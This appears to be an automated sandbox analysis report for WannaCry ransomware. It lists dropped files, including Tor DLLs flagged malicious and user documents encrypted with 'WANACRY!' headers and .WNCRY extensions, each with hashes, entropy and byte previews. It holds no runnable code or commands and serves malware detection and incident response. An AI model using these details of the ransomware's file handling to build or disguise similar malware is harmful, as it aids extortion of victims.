                                      SHA1:53912D33BEC3375153B7E4E68B78D66DAB62671A
                                      SHA-256:E48673680746FBE027E8982F62A83C298D6FB46AD9243DE8E79B7E5A24DCD4EB
                                      SHA-512:8AC6DC5BB016AFC869FCBB713F6A14D3692E866B94F4F1EE83B09A7506A8CB58768BD47E081CF6E97B2DACF9F9A6A8CA240D7D20D0B67DBD33238CC861DEAE8F
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....Cm8..................#..D/..H............#...@.........................../......./...@... .............................. ...2..............................D]...........................p.......................'...............................text...t.#.......#.................`.P`.data.........#.......#.............@.`..rdata........$.......$.............@.`@.bss....`G....-.......................`..idata...2... ...4....-.............@.0..CRT....4....`........-.............@.0..tls.... ....p........-.............@.0..reloc..D].......^....-.............@.0B................................................................................................................................................................................................................................................................................................................

                                      C:\Users\user\Desktop\TaskData\Tor\zlib1.dll

                                      Download File
                                      Process:C:\Users\user\Desktop\@WanaDecryptor@.exe
                                      File Type:PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
                                      Category:dropped
                                      Size (bytes):107520
                                      Entropy (8bit):6.440165833134522
                                      Encrypted:false
                                      SSDEEP:1536:NlN3sTKU7xniaO9ADje81EQ3aL8WNdUCqfRnToIfBoIONIOqbW+xCvETe:DpsmU7xaiDjeJL5qf5TBfgHqbdxCv6e
                                      MD5:FB072E9F69AFDB57179F59B512F828A4
                                      SHA1:FE71B70173E46EE4E3796DB9139F77DC32D2F846
                                      SHA-256:66D653397CBB2DBB397EB8421218E2C126B359A3B0DECC0F31E297DF099E1383
                                      SHA-512:9D157FECE0DC18AFE30097D9C4178AE147CC9D465A6F1D35778E1BFF1EFCA4734DD096E95D35FAEA32DA8D8B4560382338BA9C6C40F29047F1CC0954B27C64F8
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..................#.....&...................@.....b......................... ...........@... .....................................................................................................................$................................text...d$.......&..................`.P`.data...X....@.......*..............@.0..rdata..pW...P...X...,..............@.`@.bss..................................`..edata..............................@.0@.idata..............................@.0..CRT....,...........................@.0..tls.... ...........................@.0..rsrc...............................@.0..reloc..............................@.0B................................................................................................................................................................................................................................

                                      C:\Users\user\Desktop\UOOJJOZIRH.mp3

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.775048130129984
                                      Encrypted:false
                                      SSDEEP:24:jALbOSsgERT+4nhlNTHqau0SxcfHmpC/O1CK+9s:EL2X9hhfu0kcfGo/6CXs
                                      MD5:FBDECAE722B2253B0EEDF4C2700190A0
                                      SHA1:5F42AE0C788F59F6575D0F932B60C06EB19D01EE
                                      SHA-256:5F422DD4AC0931FC7DEF3A46F040FEDB7614DF8CD6A3020466AF30D08D95AB30
                                      SHA-512:9444CBF4C83C823063DD4195ACA5ED74C1854CABFCCFB59D1D93AA42873B38014FFE8ACBF3F7D84F0B5F178C674DBAC1A0FEBF2F80099618DFF2614E2E297F1A
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:.?F.........................KY...z..5...G\..Bp..T|......j.W..>E..a...L.0KW.`.4.....8..t...a..\|...|......g.u..uT."..1.b..gy....0f<.....w.i|...m&8eXT.....}A2w.i6..pV?t.....f.9..zV.h6..j.. ...Q......X~...=.K}..C.q.n..l9#9....?....1..z......Z...%+..o...a..b.m.1 .F<....L.{.8.n..r.:....*.?o}1u....@PD.......o.(...4.j...uC.|.....+h|k.,x..G...A.q..%b.v.|VV....op.-...G......!.?i......2..I.d..!.(.T..P-h......j*{..]..pf.h..fwF..........mQAB1..LS.fAu..o.1./%.H/..^../...f\ax..;.d...}./..=.$'..VN(....qQ.....r4..S.. 7...Gg..........0..Q.c..A..Un.CJ....G..z]....9....HZ..\...%?.]%...RG....K...RY.v$.+#y....M..`I...|y'..|&.t...sm)[4.s.....w..PQc..3..p.db...]..Q.H..........\....{E.u-...Up.~FLLW*e....P...Ub.f.T...u......KEt.A..7.8...`...B.'.F.(.H8.V....07.(8...hR......".......6kk..}:.Qt.4.!._.]^A..9.B1m.Y.a.2.e....9k.:..'.9].......n.....*...b..H6.tq....L...[.uh......@QjT.......z."...G....o..i..&..%.vk.9.l.L0.....[.....'.F.aS....|..i....V...}6u......-..b..[

                                      C:\Users\user\Desktop\UOOJJOZIRH.mp3.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.861763564410256
                                      Encrypted:false
                                      SSDEEP:24:bk8XWLLwkYFmMHcA02jh4O6hk0qUTaVjVc4+8xh3gWsLijALS6twxeOEH9xGHJ0d:bketb/h4OAkfJVZvxNsLIuGIOW
                                      MD5:8EB70DB780F25E5DDD99DDAC506486F8
                                      SHA1:1E9B1C6AF424EE7A7849F9500BF6114CB084B13E
                                      SHA-256:37E03D0A263D5C0665A328136351B0445F8A19B7EC4FCE83B2C2BE8F9D9AD684
                                      SHA-512:2FF06E3EF1581D4E81FCF12F0DC575F9F724D91A0857F99D29DDDADAE6C510F4EAFAC1D7538FA5580713C0BC68762A7128277CD5004F3D510B72C27F555A7B74
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!............{Z..b..j./..p\k....$.J~]<<.C...G..6.36.....'....L`.......{.&.Kr.x...r..!..x...A,.~.M5.......a..Z.N..7.&.l..|..M..y.v8.J..F.U .......F.i.!/z......`.%..l.....|._iA.`h....?&.j..l.H`...y...^u....g4.6/Z....~....{....GF.)a9.N...Z...b.X.#.............=..+.=........i....M........,.9E...`.ct.......X..H..M..C;.%..b..sk...B.e..G.A`U.!AR1dP.....4T.J..p.Q.O.......#F..x..e/.............+.,..+7@..M..t.v.u....x-n..Q..&..|....%.RB06.n.....(...u.@..Pi...4...2".....f......'l....O&.v...../..>..V........F..h...F..cS.)....Hs..Q. ..T.:.a..N...H.u..0}..?.a..th../6..?..I.....q......*k.B.i..Md....1{...$......*0.T.^oO0..i...^:#....|l......f4....R..x=.....p..P[. ..w..jg2..J.b"2|T..P.........v.. .t......e..@.CR..Kz.]l .-vX.....E...........Vb......UK.\_....;.$5..w~....DR/.C..jk)e........3..HF..`.......l[...r....7.p.:gDx.x..g_.....Ya.n5..F..&.\.1....O..(...6G3..l..%.l..l.d<.....W8T...pa)1o..``D....C.3(.{;~.{.d[.I.....4.5....:.p4...-.{......\..c.

                                      C:\Users\user\Desktop\UOOJJOZIRH.mp3.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.861763564410256
                                      Encrypted:false
                                      SSDEEP:24:bk8XWLLwkYFmMHcA02jh4O6hk0qUTaVjVc4+8xh3gWsLijALS6twxeOEH9xGHJ0d:bketb/h4OAkfJVZvxNsLIuGIOW
                                      MD5:8EB70DB780F25E5DDD99DDAC506486F8
                                      SHA1:1E9B1C6AF424EE7A7849F9500BF6114CB084B13E
                                      SHA-256:37E03D0A263D5C0665A328136351B0445F8A19B7EC4FCE83B2C2BE8F9D9AD684
                                      SHA-512:2FF06E3EF1581D4E81FCF12F0DC575F9F724D91A0857F99D29DDDADAE6C510F4EAFAC1D7538FA5580713C0BC68762A7128277CD5004F3D510B72C27F555A7B74
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!............{Z..b..j./..p\k....$.J~]<<.C...G..6.36.....'....L`.......{.&.Kr.x...r..!..x...A,.~.M5.......a..Z.N..7.&.l..|..M..y.v8.J..F.U .......F.i.!/z......`.%..l.....|._iA.`h....?&.j..l.H`...y...^u....g4.6/Z....~....{....GF.)a9.N...Z...b.X.#.............=..+.=........i....M........,.9E...`.ct.......X..H..M..C;.%..b..sk...B.e..G.A`U.!AR1dP.....4T.J..p.Q.O.......#F..x..e/.............+.,..+7@..M..t.v.u....x-n..Q..&..|....%.RB06.n.....(...u.@..Pi...4...2".....f......'l....O&.v...../..>..V........F..h...F..cS.)....Hs..Q. ..T.:.a..N...H.u..0}..?.a..th../6..?..I.....q......*k.B.i..Md....1{...$......*0.T.^oO0..i...^:#....|l......f4....R..x=.....p..P[. ..w..jg2..J.b"2|T..P.........v.. .t......e..@.CR..Kz.]l .-vX.....E...........Vb......UK.\_....;.$5..w~....DR/.C..jk)e........3..HF..`.......l[...r....7.p.:gDx.x..g_.....Ya.n5..F..&.\.1....O..(...6G3..l..%.l..l.d<.....W8T...pa)1o..``D....C.3(.{;~.{.d[.I.....4.5....:.p4...-.{......\..c.

                                      C:\Users\user\Desktop\UOOJJOZIRH.pdf

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.8214263163635875
                                      Encrypted:false
                                      SSDEEP:24:u3rnjs2XOOSnShoxcx9nVNIpCtx/8y862yG3:a7js2eOr+x8dVWMJG3
                                      MD5:76DCEF51D2E2207C45FFB2142808F954
                                      SHA1:B5886683425C3F74A61624AED1557C0F6F045498
                                      SHA-256:2277CB22FEC66DDA726F7713EA937E2CC07286F5A724FD391DA1641EDADBA712
                                      SHA-512:AFBCE373F755FE1398AB02410E4AA2E38CF43F2CE5C607601B8D7D04B82A4675A1376296D57440D03ECE7446D66E8078721AF1F322EF6972E579824A2F802EFF
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:h...G.S.[.0~7.;(./7!..45...R.....p..I.h.y.[.tPl...T. .../.d.<OKm..X..Y......~#...a.w*.. #..H.1p.....#R.(2lS..:fnz.D.....,+...rb,.v...c..8..N.-..d.....0.....S.k%q....K.*\.:.j.....k.r..R.C...N.|.uC..&L..........J..L/lr..L:...1...Oe_..]H...... ........B...;.{.!.P....?.c{....h#....|.T<[_.p'........=..+w.4..*.tc.fs).3.!Y.|=.<t..1.mW[.b.Y...........|>...E.....Le...k..d...X..w...JG....C{'........9.........@MB.....:.....@.......k...b*-i.2..ku....5..2.....t...Ib..^$.A.<.....g....=U.....`.p....KI2l..~.f....S?.uL..OS....d..S....(M...,B...aD^.?h'...z..G.;m./..*.1.[....g.0.W.d.7..Ca../......./(o..Jw... ..J....0.E..x.)7R...?.......U..9.... .GP]Fn...R&aH..]D...h(....}..nr=..H..e..`.4.L4.Z.-.vP!4E`.j..u.%.pf..x.-.<..*;...#../b........ ..._EV\..^M.....;...i......o<.3.;.Z.rY.].......n)...].%e......d.......r. .`.f...q..n..n7..Stf.*.w.8g./T6.80.F]i..{.}y.X..3.R..wi...]..^*e..;}..x(;.D&.zI)~........P+..k.x..?e..m..-..1..LP...z......}e...r.Fh.....W!.0.#.....`>..zX.5

                                      C:\Users\user\Desktop\UOOJJOZIRH.pdf.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.831959750439679
                                      Encrypted:false
                                      SSDEEP:24:bkhaSc5qAXEewlKjT+3qSmcn4lLk/XvIkyMxLJaYuzfewLw3jPPQps3mo5R2U:bkHAUqX+3qSrn4Cvz5EfeVjgC3mS8U
                                      MD5:7969DD6D8578678105850C42658D6E58
                                      SHA1:C3C429C537F751F3944317705915536EA04B90E3
                                      SHA-256:7BA3E1ED25CCECD1B22A8D7FDB4C05C4422C4677C0ED44988E1E8CC1B6161350
                                      SHA-512:DFBB68F2DE3C543EF34F68AB179C3A5B0CC7674A62B60CFA41E906F9BE1268F40223F98B9A84D16778C41D618503E8B592DAAFCBB5A30D173742C883251D8C3C
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......6p......oWM.;.80...A....c../..../@...W.V..:5".. .....>SN+..M#'...#X..!.` .c..T..R..?..b~..(....P..r]P..r:.Q5.....)}>.G."O..Y.;Z.W.+.;....D\.l..io...FT.Yx.q.``;...^..jCG s..C.9Bs+RT.0pl.......v...7h..K..l.b.U:!..?...U5u.............cj....$.ry.$............;BU. .....8.M,jf............2h.h..g..C.'4..Y.S..?-..HF.B....J..5n.z..6.#y0..r.!x.A..;|~;D.N...../..y../...T.5..j....z...{..H1>0....*..6c...jC..SN.-l.D.......q....w..WHJ.i.%..t.Z4.3.yl%...............AT<..f.P.Y..5.y.3d.0..8...a...(..9u..t..|J.u=.-....iGi........S......J..a0A...aZ.*..._...t)a.1.d{.".Pg.s=.x...Fq^k....A.....'fb>..;...#w..*.+.Q..x..C.?..`..lw.#Z(>.v..m+...,=.{...U.?...rv........#.&...rn...<..1Z....E!.$.C|..A.8..t.j.<...[1...(.h^......R.-h...m.........D.y.T.{.......g..@..J:......U.......5.hC.:<...-....:..s.....#...o+.Ms|.E.f..^.0.D5.q.V..."....#.{..5..F.G}..1Q..G&.H>....~1.S!q+....?....|s.Wh.]...,.f.:.C.&......E.2.N.D.v.~......+T..f..w.....s...2.*'..7..9.4....& ..

                                      C:\Users\user\Desktop\UOOJJOZIRH.pdf.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.831959750439679
                                      Encrypted:false
                                      SSDEEP:24:bkhaSc5qAXEewlKjT+3qSmcn4lLk/XvIkyMxLJaYuzfewLw3jPPQps3mo5R2U:bkHAUqX+3qSrn4Cvz5EfeVjgC3mS8U
                                      MD5:7969DD6D8578678105850C42658D6E58
                                      SHA1:C3C429C537F751F3944317705915536EA04B90E3
                                      SHA-256:7BA3E1ED25CCECD1B22A8D7FDB4C05C4422C4677C0ED44988E1E8CC1B6161350
                                      SHA-512:DFBB68F2DE3C543EF34F68AB179C3A5B0CC7674A62B60CFA41E906F9BE1268F40223F98B9A84D16778C41D618503E8B592DAAFCBB5A30D173742C883251D8C3C
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......6p......oWM.;.80...A....c../..../@...W.V..:5".. .....>SN+..M#'...#X..!.` .c..T..R..?..b~..(....P..r]P..r:.Q5.....)}>.G."O..Y.;Z.W.+.;....D\.l..io...FT.Yx.q.``;...^..jCG s..C.9Bs+RT.0pl.......v...7h..K..l.b.U:!..?...U5u.............cj....$.ry.$............;BU. .....8.M,jf............2h.h..g..C.'4..Y.S..?-..HF.B....J..5n.z..6.#y0..r.!x.A..;|~;D.N...../..y../...T.5..j....z...{..H1>0....*..6c...jC..SN.-l.D.......q....w..WHJ.i.%..t.Z4.3.yl%...............AT<..f.P.Y..5.y.3d.0..8...a...(..9u..t..|J.u=.-....iGi........S......J..a0A...aZ.*..._...t)a.1.d{.".Pg.s=.x...Fq^k....A.....'fb>..;...#w..*.+.Q..x..C.?..`..lw.#Z(>.v..m+...,=.{...U.?...rv........#.&...rn...<..1Z....E!.$.C|..A.8..t.j.<...[1...(.h^......R.-h...m.........D.y.T.{.......g..@..J:......U.......5.hC.:<...-....:..s.....#...o+.Ms|.E.f..^.0.D5.q.V..."....#.{..5..F.G}..1Q..G&.H>....~1.S!q+....?....|s.Wh.]...,.f.:.C.&......E.2.N.D.v.~......+T..f..w.....s...2.*'..7..9.4....& ..

                                      C:\Users\user\Desktop\UOOJJOZIRH.xlsx

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.79495870278326
                                      Encrypted:false
                                      SSDEEP:24:sqBQIvJsCkxqQzX1d3ivXQGihC0nvL7o5QMLWOXpqJ3z:cIvJyqoFxigb4ciyum
                                      MD5:2E473B4DCE730D1361D70992F92F9AE4
                                      SHA1:06A31F5FF2A302FCDCD0F8F07F32D5AE2671110B
                                      SHA-256:77278744E7C699E4F0D7173D671B371306723683CF5F132084E5B00F1ADEF5CC
                                      SHA-512:5BF1E3DDF2C0F1C3440B9BA1CF2AF5B98908EE44F0D66E2778E48FE53B8BBC56E2091AADA5F67C254A7720061D441EBA8E5F40A63E873EEB3BE8751FAFD73E81
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:Q0.,/.2.o..R..qw0.U......7..;.......C.... .kBk.^6....A..;.-v....bFL."_U.]...E_s.....I..s.)..$.J=m....z.#..,..Dj........|ANr..C+f.........H.0..s#v<..a.5....>...j......x.N........B.:..u..S;..f..o.....S.E..X.xm..3.m^...+..E...h.(_..iJ~...n......./.._...v.....%RA......i8.,|\v.i.......L..e`s>..tGJ../..}.#.a^.T....r.......;.&.W"w.x.v.........p.S.-......sIHKU.9'...JLs..t2.......>.V7.`x.>\..7.<.,./.....0. .....m.M..y.#...J.[#.-..I...Pg...R..J._zJ..p.p...9.+.k..H<+EG\..g(>.x.J....w.0&...q..f^.z.XQ...W.7..z.r..."4...2.>......{"-.Z..(....e.-..RH...Kvi#..8.7.m?..uN!.[......rG..Ct....;,?pV.)...m.#4....R...VO...k.w$a....n.Z..l5.{...$.l..9Z2L.E..$.^.....F{X..........}=z..../H..{.uS.aA...m..;.Z)..d.Z.3[ k.A....#W..}3C:......v.......X..g|m...........M,.`g._P~....k.?...-X"..w......8l.L...J....-m5.z..Q.K.....b....8A...w.j{Q.}..-..E....].'~.zX..{e..a...|.EDt..\!...IA.f.=.G.<z.....X..{......y...'....N3..LY B-0.}.H.U.?...;.....M.H..8.q.P;...O....'..`zS....-.

                                      C:\Users\user\Desktop\UOOJJOZIRH.xlsx.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.8316497535703995
                                      Encrypted:false
                                      SSDEEP:24:bkqDF+b8HsceAcbyhqURjDQM1G2t6zWSYcCzCY95YhN2VCyBQj8Q:bkhXbyfXQ92t6zKyhN2oymjB
                                      MD5:54D35C3FA10E3CA519AE9F69139ADD6B
                                      SHA1:06B63F5D501E73DF57F2AD09F028766214FBCA09
                                      SHA-256:6A0C0243E81844B510672E7E0E3B150295A65A25317B693CF9108CE4C16B55DD
                                      SHA-512:EAFADD7B40812DE129C54291E8ED4F39212621833C4DA6FF8568888F96DDB6DA38BD5FDAA6EF2EAB3390A9E41FBBF10913B567E217F69F09574AFFD6A36105D2
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....j...I.. gC.H....X\.b....F..&T.[_...w1....c.`).O..f.........j.-f...s.H.4....y....|.....f.m...h..M...O/$.\.M.._.....:..X..6...9g./V....o_g..L..u..E.%...N.$.....Sv?.z..]....5Naz$..V...b?2..Gy...@Ngp#e..z...Q.R.(.....n...n*.e.D.S...5.............<......Z.....8.:E...TN...p4_..0.@..8..&....W.;...6.3...W.1.m.k.RP../m.Zm...iS....._....6...`EV..S.=.iU......{...c..r...)`..?v.6;.z~........8*..."......Ks....eMX0...}.7....#W..0.......)#....!......J_..B6H.p+.u..5h..\...;8t....k.P.<..kf.O..HC]...p-.{C..B....5.6bX......g..i<...Z&..^...R..D.=.x...9.....&a.......T......T.#..0..~-..bAe4...!.Vb..~.....p....9.1....}..p..1Cx..H~a...:...P..&O....ej...,S.U..>.IT1..{l..e.|...G...'M3..f..-<....;j..u4..".V.`.`.....5.M..B.h..8...K...%}....1 z3.t....+..]...%0...`.....0..h.i.v....)..`.Ox^BR.2.>gT.W.b......>^.i.y.v.g{b!Z%.O....\=.-w.sG...K....J..Cd-j.[u.....>..@..6...g.|}...B.Kv8.o^@...$..U....b..<.T..X.l....9.8j....../k..E.......Cw.}

                                      C:\Users\user\Desktop\UOOJJOZIRH.xlsx.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.8316497535703995
                                      Encrypted:false
                                      SSDEEP:24:bkqDF+b8HsceAcbyhqURjDQM1G2t6zWSYcCzCY95YhN2VCyBQj8Q:bkhXbyfXQ92t6zKyhN2oymjB
                                      MD5:54D35C3FA10E3CA519AE9F69139ADD6B
                                      SHA1:06B63F5D501E73DF57F2AD09F028766214FBCA09
                                      SHA-256:6A0C0243E81844B510672E7E0E3B150295A65A25317B693CF9108CE4C16B55DD
                                      SHA-512:EAFADD7B40812DE129C54291E8ED4F39212621833C4DA6FF8568888F96DDB6DA38BD5FDAA6EF2EAB3390A9E41FBBF10913B567E217F69F09574AFFD6A36105D2
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....j...I.. gC.H....X\.b....F..&T.[_...w1....c.`).O..f.........j.-f...s.H.4....y....|.....f.m...h..M...O/$.\.M.._.....:..X..6...9g./V....o_g..L..u..E.%...N.$.....Sv?.z..]....5Naz$..V...b?2..Gy...@Ngp#e..z...Q.R.(.....n...n*.e.D.S...5.............<......Z.....8.:E...TN...p4_..0.@..8..&....W.;...6.3...W.1.m.k.RP../m.Zm...iS....._....6...`EV..S.=.iU......{...c..r...)`..?v.6;.z~........8*..."......Ks....eMX0...}.7....#W..0.......)#....!......J_..B6H.p+.u..5h..\...;8t....k.P.<..kf.O..HC]...p-.{C..B....5.6bX......g..i<...Z&..^...R..D.=.x...9.....&a.......T......T.#..0..~-..bAe4...!.Vb..~.....p....9.1....}..p..1Cx..H~a...:...P..&O....ej...,S.U..>.IT1..{l..e.|...G...'M3..f..-<....;j..u4..".V.`.`.....5.M..B.h..8...K...%}....1 z3.t....+..]...%0...`.....0..h.i.v....)..`.Ox^BR.2.>gT.W.b......>^.i.y.v.g{b!Z%.O....\=.-w.sG...K....J..Cd-j.[u.....>..@..6...g.|}...B.Kv8.o^@...$..U....b..<.T..X.l....9.8j....../k..E.......Cw.}

                                      C:\Users\user\Desktop\VAMYDFPUND.docx

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.802137378798459
                                      Encrypted:false
                                      SSDEEP:24:yCoy6TU+hO/Tmu7wCRZh/gijGggdcxwrO88Rc:yCoyqhO/TJ7wCRZWijSm8b
                                      MD5:DC0E13611C1C988AD67D8AA64BEE24A4
                                      SHA1:E6165F2566B414922A1BADF41257FC21341EE206
                                      SHA-256:1BF9BFAEBA93FDFFC53EA8C81D3825BCC9CF92B381CBB46D58825D31CF9BC633
                                      SHA-512:CD2890F313C6F1DF1393799870944B4BEDBD6BC749C3D75E9A8D903165EDA0C691A3B22A4A13D68D28DAF4B7B864B71CC5422DB7720FB6A11E76C7AEE4A9337D
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:\..@..Q.....x..\...UN....<aQ..fN....I...]h...su}.H.E.........r'.....!.e..C.|A....b..VHU..g.e.h.e.R...#);............?.^..r.-!{...-....}+.1.'7..Q.`\.4v].W.*....p.;3.....M.&.00..p..*.....G.#z=N.D9jQ.K6c.....rd3.4$.F.j+^t.f..ila....m.1.g.-....v.ee}.?....C`......39Dt..n...q.r.Z...t...]....M..O'..R..JX.+Sx..s^;..>&..YF...R..%....X;....ZKe.A.s.#.\.N.......P.......e......V..2.`.jg...f."...w@...S.T$.k.;$.../.E...SP;...r..{.h.FZ....F@.........3/...:.M!'...1I...z.EUA.A...^L.z;.E.._V.<.....^7.:..c.f......U1..e.....n.ln2...S.n.....N._.\....}....CK.D.....l..H.!.Z......K0u-...$w...:.X..&..pt..C..!......!(.K<s..Y......5.E....Gg......K..!z..U.P...J&.f7..T..J.M.gg..2.JZ..4.f.k.....x..e..B......y6..PE..iP#0.L%...M.....q.ka...+^...%...{..6..I".}H.*#"(b.[D......@.(.!0..p5.ze.......v..u..z.}.]..l..Z..O...7......2l0$.5,....+?!.B,. ...vd*A..kV......o.....3.....}.R...e..9. }2......R;.4.4m.lm..?$.[..@....3'.....a.....>.m...")p..gST6...E|.....U.@.n..S*0........2"T..W.i.p..'`n...

                                      C:\Users\user\Desktop\VAMYDFPUND.docx.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.834730875098827
                                      Encrypted:false
                                      SSDEEP:24:bkNnAJ6Go8PGf76feslbJoF3cpIH20oL+QG5U3uXGFsmJrKw5ZQN:bkNn3Go8P6mT47HVsIG+mJrp2
                                      MD5:3B36AC89E42AEC16AF0A6F4D96F251E1
                                      SHA1:4039B2CF90855EACB264BBB6871F7BF35D7B086D
                                      SHA-256:B26F28F96F0403128B6B239BDDBD0171A7355DDF93A6F9FE468657EB8CECBB21
                                      SHA-512:E153D6C8ABECB243F6125CA3B9D222B16E7FB81EE4BF69C35E6944FB19FB585D89DDA8E7F7613D4EEA1C802739660865126A6F26AC246D000E10323B9F3583C9
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....'..r....!..u5.U....g......u..:..D..*..VG,.T......g..2..V.....5..}F....U."<...-.|..c..+....w....G...g..C.#o.....gY.../.........C.8?.w.[_.%....a@5.f.0.+1...2...E.....-..Q.5.F`......Ie...g.....y.m.>...K:..x...)6..[....w.T........?.....E..*...8.............e..-..y.6%.f..9...D..hg.h....,.1o..ZB...ub.....-9........r%...Z..D.'..I.`......8.....K.H..OZT.._..H...V!.53;<G...... :kD...q..d+.....5E.............H..H.mi....8PJ.7....y.cG...=...tur..:.+...9,.......v..k"..+..u...B.R8....?.L......HUl...3...j....9r....A.07.D2....%:.....?...k.....T..g....q..u.O.<.....)JZT.$.6.1{...A.".&..|..q..A...(...6+...Q.......H?.83.,d..f.O..:....7../\,.......T...W..U4.........!$....=...Z..b.[..@K8!..7...m.O....{.o.+\..+.1....G|..H&..i..............%...J3.<!......Qa.\..s..v<.h.A...eq.,._.....5k...|..8:....^.l.Pc.+JJX../.k.>L......O....22sX.x.....w....A{P..s.e.P.}......aPj|..3wN.J]k(.l.c.l$.e........'..........Q.z....Ium.u..n..s\i)...<e....xs.|......."....y.P9

                                      C:\Users\user\Desktop\VAMYDFPUND.docx.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.834730875098827
                                      Encrypted:false
                                      SSDEEP:24:bkNnAJ6Go8PGf76feslbJoF3cpIH20oL+QG5U3uXGFsmJrKw5ZQN:bkNn3Go8P6mT47HVsIG+mJrp2
                                      MD5:3B36AC89E42AEC16AF0A6F4D96F251E1
                                      SHA1:4039B2CF90855EACB264BBB6871F7BF35D7B086D
                                      SHA-256:B26F28F96F0403128B6B239BDDBD0171A7355DDF93A6F9FE468657EB8CECBB21
                                      SHA-512:E153D6C8ABECB243F6125CA3B9D222B16E7FB81EE4BF69C35E6944FB19FB585D89DDA8E7F7613D4EEA1C802739660865126A6F26AC246D000E10323B9F3583C9
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....'..r....!..u5.U....g......u..:..D..*..VG,.T......g..2..V.....5..}F....U."<...-.|..c..+....w....G...g..C.#o.....gY.../.........C.8?.w.[_.%....a@5.f.0.+1...2...E.....-..Q.5.F`......Ie...g.....y.m.>...K:..x...)6..[....w.T........?.....E..*...8.............e..-..y.6%.f..9...D..hg.h....,.1o..ZB...ub.....-9........r%...Z..D.'..I.`......8.....K.H..OZT.._..H...V!.53;<G...... :kD...q..d+.....5E.............H..H.mi....8PJ.7....y.cG...=...tur..:.+...9,.......v..k"..+..u...B.R8....?.L......HUl...3...j....9r....A.07.D2....%:.....?...k.....T..g....q..u.O.<.....)JZT.$.6.1{...A.".&..|..q..A...(...6+...Q.......H?.83.,d..f.O..:....7../\,.......T...W..U4.........!$....=...Z..b.[..@K8!..7...m.O....{.o.+\..+.1....G|..H&..i..............%...J3.<!......Qa.\..s..v<.h.A...eq.,._.....5k...|..8:....^.l.Pc.+JJX../.k.>L......O....22sX.x.....w....A{P..s.e.P.}......aPj|..3wN.J]k(.l.c.l$.e........'..........Q.z....Ium.u..n..s\i)...<e....xs.|......."....y.P9

                                      C:\Users\user\Desktop\VAMYDFPUND.jpg

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.825864870942352
                                      Encrypted:false
                                      SSDEEP:24:Jnq4qTUOO0DldJmIPiPCfAIysGO4IoiauHKVXidO9h:JnHAhRHXqPCry1rph
                                      MD5:5C8FE6A5524B309968EFE6D87749E9F1
                                      SHA1:660C25AFB249FFC306C8AA7D7492555F8CCE2FB7
                                      SHA-256:B9AB06FB5FAE7105FB51050D6A4D98BC5A5922F2E079CFDF0774979D5FFD2068
                                      SHA-512:A73B675B7A3550F2300B677C7475740FFFED11319CA9125D97749D59B7DE6B5CE8D97A94CB333AE4652F1FAF35B9F54F4550D7AC1F6F8808EFB45DEDC9713993
                                      Malicious:false
                                      Reputation:unknown
